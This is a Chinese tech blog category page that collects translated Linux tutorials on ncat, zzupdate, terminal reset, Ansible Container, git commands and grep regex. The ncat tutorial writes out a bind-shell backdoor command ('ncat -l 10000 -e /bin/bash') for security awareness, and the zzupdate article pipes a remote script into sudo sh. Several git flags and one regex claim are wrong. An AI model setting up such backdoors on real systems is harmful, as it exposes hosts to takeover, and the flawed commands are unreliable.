分类 技术 下的文章

ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

ncat/nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。

在大多数 Debian 发行版中,nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7 / RHEL 7 的最小化安装中,nc 并不会默认被安装。 你需要用下列命令手工安装。

[root@linuxtechi ~]# yum install nmap-ncat -y

系统管理员可以用它来审计系统安全,用它来找出开放的端口然后保护这些端口。 管理员还能用它作为客户端来审计 Web 服务器、telnet 服务器、邮件服务器等, 通过 nc 我们可以控制发送的每个字符,也可以查看对方的回应。

我们还可以用它捕获客户端发送的数据以此来了解这些客户端是做什么的。

在本文中,我们会通过 10 个例子来学习如何使用 nc 命令。

例子: 1) 监听入站连接

通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。 完整的命令是这样的:

$ ncat -l port_number

比如,

$ ncat -l 8080

服务器就会开始在 8080 端口监听入站连接。

例子: 2) 连接远程系统

使用下面命令可以用 nc 来连接远程系统,

$ ncat IP_address port_number

让我们来看个例子,

$ ncat 192.168.1.100 80

这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容

GET / HTTP/1.1

或者获取页面名称,

GET / HTTP/1.1

或者我们可以通过以下方式获得操作系统指纹标识,

HEAD / HTTP/1.1

这会告诉我们使用的是什么软件来运行这个 web 服务器的。

例子: 3) 连接 UDP 端口

默认情况下,nc 创建连接时只会连接 TCP 端口。 不过我们可以使用 -u 选项来连接到 UDP 端口,

$ ncat -l -u 1234

现在我们的系统会开始监听 UDP 的 1234 端口,我们可以使用下面的 netstat 命令来验证这一点,

$ netstat -tunlp | grep 1234
udp           0          0 0.0.0.0:1234                 0.0.0.0:*               17341/nc
udp6          0          0 :::1234                      :::*                    17341/nc

假设我们想发送或者说测试某个远程主机 UDP 端口的连通性,我们可以使用下面命令,

$ ncat -v -u {host-ip} {udp-port}

比如:

[root@localhost ~]# ncat -v -u 192.168.105.150 53
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.105.150:53。

例子: 4) 将 nc 作为聊天工具

nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:

$ ncat -l 8080

在远程客户端主机上运行:

$ ncat 192.168.1.100 8080

之后开始发送消息,这些消息会在服务器终端上显示出来。

例子: 5) 将 nc 作为代理

nc 也可以用来做代理。比如下面这个例子,

$ ncat -l 8080 | ncat 192.168.1.200 80

所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:

$ mkfifo 2way
$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

现在你可以通过 nc 代理来收发数据了。

例子: 6) 使用 nc 拷贝文件

nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。

在要接受数据的机器上启动 nc 并让它进入监听模式:

$ ncat -l  8080 > file.txt

现在去要被拷贝数据的机器上运行下面命令:

$ ncat 192.168.1.100 8080 --send-only < data.txt

这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下 ctrl+c 来关闭连接。

我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心。

例子: 7) 通过 nc 创建后门

nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:

$ ncat -l 10000 -e /bin/bash

-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:

$ ncat 192.168.1.100 10000

例子: 8) 通过 nc 进行端口转发

我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:

$ ncat -u -l  80 -c  'ncat -u -l 8080'

这样,所有连接到 80 端口的连接都会转发到 8080 端口。

例子: 9) 设置连接超时

nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:

$ ncat -w 10 192.168.1.100 8080

这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。

例子: 10) 使用 -k 选项强制 nc 待命

当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 命令如下:

$ ncat -l -k 8080

现在即使来自客户端的连接断了也依然会处于待命状态。

自此我们的教程就完了,如有疑问,请在下方留言。


via: https://www.linuxtechi.com/nc-ncat-command-examples-linux-systems/

作者:Pradeep Kumar 译者:lujun9972 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

Upgrade Ubuntu to a newer version with a single command

zzupdate 是一个开源的命令行程序,通过将几个更新命令组合到一个命令中,使得将 Ubuntu 桌面和服务器版本升级到更新版本的任务变得容易一些。

将 Ubuntu 系统升级到更新的版本并不是一项艰巨的任务。无论是使用 GUI 还是使用几个命令,都可以轻松地将系统升级到最新版本。

另一方面,Gianluigi 'Zane' Zanettini 写的 zzupdate 只需一个命令就可以在 Ubuntu 中清理、更新、自动删除、版本升级、该工具的自我更新。

它会清理本地缓存,更新可用的软件包信息,然后执行发行版升级。接着,它会更新该工具并删除未使用的软件包。

该脚本必须以 root 用户身份运行。

安装 zzupdate 将 Ubuntu 升级到更新的版本

要安装 zzupdate,请在终端中执行以下命令。

curl -s https://raw.githubusercontent.com/TurboLabIt/zzupdate/master/setup.sh | sudo sh

然后将提供的示例配置文件复制到 zzupdate.conf 并设置你的首选项。

sudo cp /usr/local/turbolab.it/zzupdate/zzupdate.default.conf /etc/turbolab.it/zzupdate.conf

完成后,只要使用下面的命令,它就会开始升级你的 Ubuntu 系统到一个更新的版本(如果有的话)。

sudo zzupdate

请注意,在普通版本(非 LTS 版本)下,zzupdate 会将系统升级到下一个可用的版本。但是,当你运行 Ubuntu 16.04 LTS 时,它将尝试仅搜索下一个长期支持版本,而不是可用的最新版本。

如果你想退出 LTS 版本并升级到最新版本,你将需要更改一些选项。

对于 Ubuntu 桌面,打开 软件和更新 和下面 更新 选项卡,并更改通知我新的 Ubuntu 版本选项为 “对于任何新版本”。

Software Updater in Ubuntu

对于 Ubuntu 服务版,编辑 release-upgrades 文件。

vi /etc/update-manager/release-upgrades

Prompt=normal

配置 zzupdate [可选]

zzupdate 要配置的选项:

REBOOT=1

如果值为 1,升级后系统将重启。

REBOOT_TIMEOUT=15

将重启超时设置为 900 秒,因为某些硬件比其他硬件重启需要更长的时间。

VERSION_UPGRADE=1

如果升级可用,则执行版本升级。

VERSION_UPGRADE_SILENT=0

自动显示版本进度。

COMPOSER_UPGRADE=1

值为 “1” 会自动升级该工具。

SWITCH_PROMPT_TO_NORMAL=0

此功能将 Ubuntu 版本更新为普通版本,即如果你运行着 LTS 发行版,zzupdate 将不会将其升级到 Ubuntu 17.10(如果其设置为 0)。它将仅搜索 LTS 版本。相比之下,无论你运行着 LTS 或者普通版,“1” 都将搜索最新版本。

完成后,你要做的就是在控制台中运行一个完整的 Ubuntu 系统更新。

sudo zzupdate

最后的话

尽管 Ubuntu 的升级过程本身就很简单,但是 zzupdate 将它简化为一个命令。不需要编码知识,这个过程完全是配置文件驱动。我个人发现这是一个很好的更新几个 Ubuntu 系统的工具,而无需单独关心不同的事情。

你愿意试试吗?


via: https://itsfoss.com/zzupdate-upgrade-ubuntu/

作者:Ambarish Kumar 译者:geekpi 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

有时我的探索会在屏幕上输出一些奇怪的东西。比如,有一次我不小心用 cat 命令查看了一下二进制文件的内容 —— cat /sbin/*。这种情况下你将无法再访问终端里的 bash/ksh/zsh 了。大量的奇怪字符充斥了你的终端。这些字符会隐藏你输入的内容和要显示的字符,取而代之的是一些奇怪的符号。要清理掉这些屏幕上的垃圾可以使用以下方法。本文就将向你描述在 Linux/ 类 Unix 系统中如何真正清理终端屏幕或者重置终端。

Fig.01:Bash fix the display

clear 命令

clear 命令会清理掉屏幕内容,连带它的回滚缓存区一起也会被清理掉。(LCTT 译注:这种情况下你输入的字符回显也是乱码,不必担心,正确输入后回车即可生效。)

$ clear

你也可以按下 CTRL+L 来清理屏幕。然而,clear 命令并不会清理掉终端屏幕(LCTT 译注:这句话比较难理解,应该是指的运行 clear 命令并不是真正的把以前显示的内容删掉,你还是可以通过向上翻页看到之前显示的内容)。使用下面的方法才可以真正地清空终端,使你的终端恢复正常。

使用 reset 命令修复显示

要修复正常显示,只需要输入 reset 命令。它会为你再初始化一次终端:

$ reset

或者:

$ tput reset

如果 reset 命令还不行,那么输入下面命令来让绘画回复到正常状态:

$ stty sane

按下 CTRL + L 来清理屏幕(或者输入 clear 命令):

$ clear

使用 ANSI 转义序列来真正地清空 bash 终端

另一种选择是输入下面的 ANSI 转义序列:

clear
echo -e "\033c"

下面是这两个命令的输出示例:

Animated gif 01:Fix Unix Console Gibberish Command Demo

更多信息请阅读 sttyreset 的 man 页: stty(1),reset(1),bash(1)。


via: https://www.cyberciti.biz/tips/bash-fix-the-display.html

作者:Vivek Gite 译者:lujun9972 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

Ansible Container 解决了 Dockerfile 的不足,并对容器化项目提供了完整的管理。

 title=

Image by : opensource.com

我喜欢容器,并且每天都使用这个技术。即便如此,容器并不完美。不过,在过去几个月里,一系列项目已经解决了我遇到的一些问题。

我刚开始时,用 Docker 使用容器,这个项目使得这种技术非常流行。除了使用这个容器引擎之外,我学到了怎么去使用 docker-compose 以及怎么去用它管理我的项目。使用它使得我的生产力猛增!一个命令就可以运行我的项目,而不管它有多复杂。因此,我太高兴了。

使用一段时间之后,我发现了一些问题。最明显的问题是创建容器镜像的过程。Docker 工具使用一个定制的文件格式作为生成容器镜像的依据:Dockerfile。这个格式易于学习,并且很短的一段时间之后,你就可以自己制作容器镜像了。但是,一旦你希望进一步掌握它或者考虑到复杂场景,问题就会出现。

让我们打断一下,先去了解一个不同的东西:Ansible 的世界。你知道它吗?它棒极了,是吗?你不这么认为?好吧,是时候去学习一些新事物了。Ansible 是一个允许你通过写一些任务去管理你的基础设施,并在你选择的环境中运行它们的项目。不需要去安装和设置任何的服务;你可以从你的笔记本电脑中很容易地做任何事情。许多人已经接受 Ansible 了。

想像一下这样的场景:你在 Ansible 中,你写了很多的 Ansible 角色 role 剧本 playbook ,你可以用它们去管理你的基础设施,并且你想把它们运用到容器中。你应该怎么做?通过 shell 脚本和 Dockerfile 去写容器镜像定义?听起来好像不对。

来自 Ansible 开发团队的一些人问到这个问题,并且他们意识到,人们每天编写和使用的那些同样的 Ansible 角色和剧本也可以用来制作容器镜像。但是 Ansible 能做到的不止这些 —— 它可以被用于去管理容器化项目的完整生命周期。从这些想法中,Ansible Container 项目诞生了。它利用已有的 Ansible 角色转变成容器镜像,甚至还可以被用于生产环境中从构建到部署的完整生命周期。

现在让我们讨论一下,我之前提到过的在 Dockerfile 环境中的最佳实践问题。这里有一个警告:这将是非常具体且技术性的。出现最多的三个问题有:

1、 在 Dockerfile 中内嵌的 Shell 脚本

当写 Dockerfile 时,你可以指定会由 /bin/sh -c 解释执行的脚本。它类似如下:

RUN dnf install -y nginx

这里 RUN 是一个 Dockerfile 指令,其它的都是参数(它们传递给 shell)。但是,想像一个更复杂的场景:

RUN set -eux; \
    \
# this "case" statement is generated via "update.sh"
    %%ARCH-CASE%%; \
    \
    url="https://golang.org/dl/go${GOLANG_VERSION}.${goRelArch}.tar.gz"; \
    wget -O go.tgz "$url"; \
    echo "${goRelSha256} *go.tgz" | sha256sum -c -; \

这仅是从 golang 官方镜像 中拿来的一段。它看起来并不好看,是不是?

2、 解析 Dockerfile 并不容易

Dockerfile 是一个没有正式规范的新格式。如果你需要在你的基础设施(比如,让构建过程自动化一点)中去处理 Dockerfile 将会很复杂。仅有的规范是 这个代码,它是 dockerd 的一部分。问题是你不能使用它作为一个 library 来使用。最容易的解决方案是你自己写一个解析器,然后祈祷它运行的很好。使用一些众所周知的标记语言不是更好吗?比如,YAML 或者 JSON。

3、 管理困难

如果你熟悉容器镜像的内部结构,你可能知道每个镜像是由 layer 构成的。一旦容器被创建,这些层就使用联合文件系统技术堆叠在一起(像煎饼一样)。问题是,你并不能显式地管理这些层 — 你不能说,“这儿开始一个新层”,你被迫使用一种可读性不好的方法去改变你的 Dockerfile。最大的问题是,必须遵循一套最佳实践以去达到最优结果 — 新来的人在这个地方可能很困难。

Ansible 语言和 Dockerfile 比较

相比 Ansible,Dockerfile 的最大缺点,也是 Ansible 的优点,作为一个语言,Ansible 更强大。例如,Dockerfile 没有直接的变量概念,而 Ansible 有一个完整的模板系统(变量只是它其中的一个特性)。Ansible 包含了很多更易于使用的模块,比如,wait\_for,它可以被用于服务就绪检查,比如,在处理之前等待服务准备就绪。在 Dockerfile 中,做任何事情都通过一个 shell 脚本。因此,如果你想去找出已准备好的服务,它必须使用 shell(或者独立安装)去做。使用 shell 脚本的其它问题是,它会变得很复杂,维护成为一种负担。很多人已经发现了这个问题,并将这些 shell 脚本转到 Ansible。

关于作者

Tomas Tomecek - 工程师、Hacker、演讲者、Tinker、Red Hatter。喜欢容器、linux、开源软件、python 3、rust、zsh、tmux。More about me


via: https://opensource.com/article/17/10/dockerfiles-ansible-container

作者:Tomas Tomecek 译者:qhwdw 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

之前的教程中,我们已经学习了在机器上安装 git。本教程,我们将讨论如何使用 git,比如与 git 一起使用的各种命令。所以我们开始吧。

设置用户信息

这应该是安装完 git 的第一步。我们将添加用户信息 (用户名和邮箱),所以当我们提交代码时,会产生带有用户信息的提交信息,这使得跟踪提交过程变得更容易。要添加用户信息,命令是 git config

$ git config --global user.name "Daniel"
$ git config --global user.email "[email protected]"

添加完用户信息之后,通过运行下面命令,我们将检查这些信息是否成功更新。

$ git config --list

我们应该能够看到输出的用户信息。

GIT 命令

新建一个仓库

为了建立一个新仓库,运行如下命令:

$ git init

查找一个仓库

为了查找一个仓库,命令如下:

$ git grep "repository"

与远程仓库连接

为了与远程仓库连接,运行如下命令:

$ git remote add origin remote_server

然后检查所有配置的远程服务器,运行如下命令:

$ git remote -v

克隆一个仓库

为了从本地服务器克隆一个仓库,运行如下代码:

$ git clone repository_path

如果我们想克隆远程服务器上的一个仓库,那克隆这个仓库的命令是:

$ git clone repository_path

在仓库中列出分支

为了检查所有可用的和当前工作的分支列表,执行:

$ git branch

创建新分支

创建并使用一个新分支,命令是:

$ git checkout -b 'branchname'

删除一个分支

为了删除一个分支,执行:

$ git branch -d 'branchname'

为了删除远程仓库的一个分支,执行:

$ git push origin:'branchname'

切换到另一个分支

从当前分支切换到另一个分支,使用

$ git checkout 'branchname'

添加文件

添加文件到仓库,执行:

$ git add filename

文件状态

检查文件状态 (那些将要提交或者添加的文件),执行:

$ git status

提交变更

在我们添加一个文件或者对一个文件作出变更之后,我们通过运行下面命令来提交代码:

$ git commit -a

提交变更到 head 但不提交到远程仓库,命令是:

$ git commit -m "message"

推送变更

推送对该仓库 master 分支所做的变更,运行:

$ git push origin master

推送分支到仓库

推送对单一分支做出的变更到远程仓库,运行:

$ git push origin 'branchname'

推送所有分支到远程仓库,运行:

$ git push -all origin

合并两个分支

合并另一个分支到当前活动分支,使用命令:

$ git merge 'branchname'

从远端服务器合并到本地服务器

从远端服务器下载/拉取变更到到本地服务器的工作目录,运行:

$ git pull 

检查合并冲突

查看对库文件的合并冲突,运行:

$ git diff -base 'filename'

查看所有冲突,运行:

$ git diff

如果我们在合并之前想预览所有变更,运行:

$ git diff 'source-branch' 'target-branch' 

创建标记

创建标记来标志任一重要的变更,运行:

$ git tag 'tag number' 'commit id' 

通过运行以下命令,我们可以查找 commit id :

$ git log

推送标记

推送所有创建的标记到远端服务器,运行:

$ git push -tags origin

恢复做出的变更

如果我们想用 head 中最后一次变更来替换对当前工作树的变更,运行:

$ git checkout -'filename'

我们也可以从远端服务器获取最新的历史,并且将它指向本地仓库的 master 分支,而不是丢弃掉所有本地所做所有变更。为了这么做,运行:

$ git fetch origin
$ git reset -hard master

好了,伙计们。这些就是我们使用 git 服务器的命令。我们将会很快为大家带来更有趣的教程。如果你希望我们对某个特定话题写一个教程,请通过下面的评论箱告诉我们。像往常一样, 欢迎您的各种意见和建议。


via: http://linuxtechlab.com/beginners-to-pro-guide-for-git-commands/

作者:Shusain 译者:liuxinyu123 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

正则表达式 Regular expressions (简写为 regex 或者 regexp)基本上是定义一种搜索模式的字符串,可以被用来执行“搜索”或者“搜索并替换”操作,也可以被用来验证像密码策略等条件。

正则表达式是一个我们可利用的非常强大的工具,并且使用正则表达式的优点是它能在几乎所有计算机语言中被使用。所以如果你使用 Bash 脚本或者创建一个 python 程序时,我们可以使用正则表达式,或者也可以写一个单行搜索查询。

在这篇教程中,我们将会学习一些正则表达式的基本概念,并且学习如何在 Bash 中通过 grep 使用它们,但是如果你希望在其他语言如 python 或者 C 中使用它们,你只能使用正则表达式部分。那么让我们通过正则表达式的一个例子开始吧,

正则表达式看起来像 /t[aeiou]l/ 这个样子。

但这是什么意思呢?它意味着所提到的正则表达式将寻找一个词,它以 t 开始,在中间包含字母 a e i o u 中任意一个,并且字母 l 最为最后一个字符。它可以是 teltal 或者 til,可以匹配一个单独的词或者其它单词像 tiltbrutal 或者 telephone 的一部分。

grep 使用正则表达式的语法是 $ grep "regex_search_term" file_location

如果不理解,不要担心,这只是一个例子,来展示可以利用正则表达式获取什么,相信我,这是最简单的例子。我们可以从正则表达式中获取更多。现在我们将从正则表达式基础的开始。

基础的正则表示式

现在我们开始学习一些被称为 元字符 MetaCharacters 的特殊字符。它们可以帮助我们创建更复杂的正则表达式搜索项。下面提到的是基本元字符的列表,

  • . 点将匹配任意字符
  • [ ] 将匹配一个字符范围
  • [^ ] 将匹配除了括号中提到的那个之外的所有字符
  • * 将匹配零个或多个前面的项
  • + 将匹配一个或多个前面的项
  • ? 将匹配零个或一个前面的项
  • {n} 将匹配 n 次前面的项
  • {n,} 将匹配 n 次或更多前面的项
  • {n,m} 将匹配在 n 和 m 次之间的项
  • {,m} 将匹配少于或等于 m 次的项
  • \ 是一个转义字符,当我们需要在我们的搜索中包含一个元字符时使用

现在我们将用例子讨论所有这些元字符。

. (点)

它用于匹配出现在我们搜索项中的任意字符。举个例子,我们可以使用点如:

$ grep "d.g" file1

这个正则表达式意味着我们在名为 ‘file1’ 的文件中查找的词以 d 开始,以 g结尾,中间可以有 1 个字符的字符串。同样,我们可以使用任意数量的点作为我们的搜索模式,如 T......h,这个查询项将查找一个词,以 T 开始,以 h 结尾,并且中间可以有任意 6 个字符。

[ ]

方括号用于定义字符范围。例如,我们需要搜索一些特别的单词而不是匹配任何字符,

$ grep "N[oen]n" file2

这里,我们正寻找一个单词,以 N开头,以 n 结尾,并且中间只能有 oe 或者 n 中的一个。 在方括号中我们可以提到单个到任意数量的字符。

我们在方括号中也可以定义像 a-e或者 1-18 作为匹配字符的列表。

[^ ]

这就像正则表达式的 not 操作。当使用 [^ ] 时,它意味着我们的搜索将包括除了方括号内提到的所有字符。例如,

$ grep "St[^1-9]d" file3

这意味着我们可以拥有所有这样的单词,它们以 St 开始,以字母 d 结尾,并且不得包含从 19 的任何数字。

到现在为止,我们只使用了仅需要在中间查找单个字符的正则表达式的例子,但是如果我们需要更多字符该怎么办呢。假设我们需要找到以一个字符开头和结尾的所有单词,并且在中间可以有任意数量的字符。这就是我们使用乘数元字符如 + *? 的地方。

{n}{n,m}{n,} 或者 {,m} 也是可以在我们的正则表达式项中使用的其他乘数元字符。

* (星号)

以下示例匹配字母 k 的任意出现次数,包括一次没有:

$ grep "lak*" file4

它意味着我们可以匹配到 lakela 或者 lakkkk

+

以下模式要求字符串中的字母 k 至少被匹配到一次:

$ grep "lak+" file5

这里 k 在我们的搜索中至少需要发生一次,所以我们的结果可以为 lake 或者 lakkkk,但不能是 la

?

在以下模式匹配中

$ grep "ba?b" file6

匹配字符串 bbbab,使用 ? 乘数,我们可以有一个或零个字符的出现。

非常重要的提示

当使用乘数时这是非常重要的,假设我们有一个正则表达式

$ grep "S.*l" file7

我们得到的结果是 smallsilly,并且我们也得到了 Shane is a little to play ball。但是为什么我们得到了 Shane is a little to play ball?我们只是在搜索中寻找单词,为什么我们得到了整个句子作为我们的输出。

这是因为它满足我们的搜索标准,它以字母 s 开头,中间有任意数量的字符并以字母 l 结尾。那么,我们可以做些什么来纠正我们的正则表达式来只是得到单词而不是整个句子作为我们的输出。

我们在正则表达式中需要增加 ? 元字符,

$ grep "S.*?l" file7

这将会纠正我们正则表达式的行为。

\

\ 是当我们需要包含一个元字符或者对正则表达式有特殊含义的字符的时候来使用。例如,我们需要找到所有以点结尾的单词,所以我们可以使用:

$ grep "S.*\\." file8

这将会查找和匹配所有以一个点字符结尾的词。

通过这篇基本正则表达式教程,我们现在有一些关于正则表达式如何工作的基本概念。在我们的下一篇教程中,我们将学习一些高级的正则表达式的概念。同时尽可能多地练习,创建正则表达式并试着尽可能多的在你的工作中加入它们。如果有任何疑问或问题,您可以在下面的评论区留言。


via: http://linuxtechlab.com/bash-scripting-learn-use-regex-basics/

作者:SHUSAIN 译者:kimii 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出